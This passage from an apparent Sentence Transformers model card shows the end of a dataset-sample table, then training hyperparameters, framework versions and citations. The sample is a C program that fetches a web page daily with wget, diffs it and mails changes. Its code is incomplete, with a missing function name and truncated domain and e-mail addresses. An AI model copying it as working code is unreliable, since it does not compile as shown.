    <br></code>                                                                                                                                                            | <code>#include <string.h><br>#include <stdlib.h><br>#include <stdio.h><br>#include <fcntl.h><br>#include <unistd.h><br>#include <sys/wait.h><br>#include <sys/time.h><br><br><br><br>void emptyFile(char* name)<br>{<br>	FILE* myFile;<br>	myFile = fopen(name,"w");<br>	fclose(myFile);<br>}<br><br>int (void)<br>{<br>	FILE* myFile;<br>	char* myString;<br>	<br>	myString = malloc(sizeof(char ) * 100);<br><br>	<br>	<br>	emptyFile(".old.html");<br>	emptyFile(".new.html");<br><br>	<br>	system("wget -O .old.html -q http://www.cs.rmit.edu./students/");<br><br>	while(1)<br>	{<br>		<br>		emptyFile(".new.html");<br><br>		<br>		system("wget -O .new.html -q http://www.cs.rmit.edu./students/");<br>		<br>		<br>		system("diff .old.html .new.html > watch.txt");<br><br>		myFile = fopen("watch.txt","r");<br>		if(myFile != (FILE*) NULL)<br>		{<br>			fgets(myString,100,myFile);<br>			if(strlen(myString) > 0)<br>			{<br>				<br>				<br>				system("mail @cs.rmit.edu. < watch.txt");<br>				<br>				system("cp .new.html .old.html");<br>			}<br>		}<br>		<br>		sleep(60*60*24);<br>	}<br>	<br>	return 1;<br>}<br><br><br></code>                                                                                                                                         | <code>0</code> |
* Loss: [<code>BatchAllTripletLoss</code>](https://sbert.net/docs/package_reference/sentence_transformer/losses.html#batchalltripletloss)

### Training Hyperparameters
#### Non-Default Hyperparameters

- `per_device_train_batch_size`: 16
- `per_device_eval_batch_size`: 16
- `num_train_epochs`: 1
- `fp16`: True
- `multi_dataset_batch_sampler`: round_robin

#### All Hyperparameters
<details><summary>Click to expand</summary>

- `overwrite_output_dir`: False
- `do_predict`: False
- `eval_strategy`: no
- `prediction_loss_only`: True
- `per_device_train_batch_size`: 16
- `per_device_eval_batch_size`: 16
- `per_gpu_train_batch_size`: None
- `per_gpu_eval_batch_size`: None
- `gradient_accumulation_steps`: 1
- `eval_accumulation_steps`: None
- `torch_empty_cache_steps`: None
- `learning_rate`: 5e-05
- `weight_decay`: 0.0
- `adam_beta1`: 0.9
- `adam_beta2`: 0.999
- `adam_epsilon`: 1e-08
- `max_grad_norm`: 1
- `num_train_epochs`: 1
- `max_steps`: -1
- `lr_scheduler_type`: linear
- `lr_scheduler_kwargs`: {}
- `warmup_ratio`: 0.0
- `warmup_steps`: 0
- `log_level`: passive
- `log_level_replica`: warning
- `log_on_each_node`: True
- `logging_nan_inf_filter`: True
- `save_safetensors`: True
- `save_on_each_node`: False
- `save_only_model`: False
- `restore_callback_states_from_checkpoint`: False
- `no_cuda`: False
- `use_cpu`: False
- `use_mps_device`: False
- `seed`: 42
- `data_seed`: None
- `jit_mode_eval`: False
- `use_ipex`: False
- `bf16`: False
- `fp16`: True
- `fp16_opt_level`: O1
- `half_precision_backend`: auto
- `bf16_full_eval`: False
- `fp16_full_eval`: False
- `tf32`: None
- `local_rank`: 0
- `ddp_backend`: None
- `tpu_num_cores`: None
- `tpu_metrics_debug`: False
- `debug`: []
- `dataloader_drop_last`: False
- `dataloader_num_workers`: 0
- `dataloader_prefetch_factor`: None
- `past_index`: -1
- `disable_tqdm`: False
- `remove_unused_columns`: True
- `label_names`: None
- `load_best_model_at_end`: False
- `ignore_data_skip`: False
- `fsdp`: []
- `fsdp_min_num_params`: 0
- `fsdp_config`: {'min_num_params': 0, 'xla': False, 'xla_fsdp_v2': False, 'xla_fsdp_grad_ckpt': False}
- `fsdp_transformer_layer_cls_to_wrap`: None
- `accelerator_config`: {'split_batches': False, 'dispatch_batches': None, 'even_batches': True, 'use_seedable_sampler': True, 'non_blocking': False, 'gradient_accumulation_kwargs': None}
- `deepspeed`: None
- `label_smoothing_factor`: 0.0
- `optim`: adamw_torch
- `optim_args`: None
- `adafactor`: False
- `group_by_length`: False
- `length_column_name`: length
- `ddp_find_unused_parameters`: None
- `ddp_bucket_cap_mb`: None
- `ddp_broadcast_buffers`: False
- `dataloader_pin_memory`: True
- `dataloader_persistent_workers`: False
- `skip_memory_metrics`: True
- `use_legacy_prediction_loop`: False
- `push_to_hub`: False
- `resume_from_checkpoint`: None
- `hub_model_id`: None
- `hub_strategy`: every_save
- `hub_private_repo`: None
- `hub_always_push`: False
- `gradient_checkpointing`: False
- `gradient_checkpointing_kwargs`: None
- `include_inputs_for_metrics`: False
- `include_for_metrics`: []
- `eval_do_concat_batches`: True
- `fp16_backend`: auto
- `push_to_hub_model_id`: None
- `push_to_hub_organization`: None
- `mp_parameters`: 
- `auto_find_batch_size`: False
- `full_determinism`: False
- `torchdynamo`: None
- `ray_scope`: last
- `ddp_timeout`: 1800
- `torch_compile`: False
- `torch_compile_backend`: None
- `torch_compile_mode`: None
- `include_tokens_per_second`: False
- `include_num_input_tokens_seen`: False
- `neftune_noise_alpha`: None
- `optim_target_modules`: None
- `batch_eval_metrics`: False
- `eval_on_start`: False
- `use_liger_kernel`: False
- `eval_use_gather_object`: False
- `average_tokens_across_devices`: False
- `prompts`: None
- `batch_sampler`: batch_sampler
- `multi_dataset_batch_sampler`: round_robin
- `router_mapping`: {}
- `learning_rate_mapping`: {}

</details>

### Framework Versions
- Python: 3.11.13
- Sentence Transformers: 5.0.0
- Transformers: 4.52.4
- PyTorch: 2.6.0+cu124
- Accelerate: 1.8.1
- Datasets: 3.6.0
- Tokenizers: 0.21.2

## Citation

### BibTeX

#### Sentence Transformers
```bibtex
@inproceedings{reimers-2019-sentence-bert,
    title = "Sentence-BERT: Sentence Embeddings using Siamese BERT-Networks",
    author = "Reimers, Nils and Gurevych, Iryna",
    booktitle = "Proceedings of the 2019 Conference on Empirical Methods in Natural Language Processing",
    month = "11",
    year = "2019",
    publisher = "Association for Computational Linguistics",
    url = "https://arxiv.org/abs/1908.10084",
}
```

#### BatchAllTripletLoss
```bibtex
@misc{hermans2017defense,
    title={In Defense of the Triplet Loss for Person Re-Identification},
    author={Alexander Hermans and Lucas Beyer and Bastian Leibe},
    year={2017},
    eprint={1703.07737},
    archivePrefix={arXiv},
    primaryClass={cs.CV}
}
```

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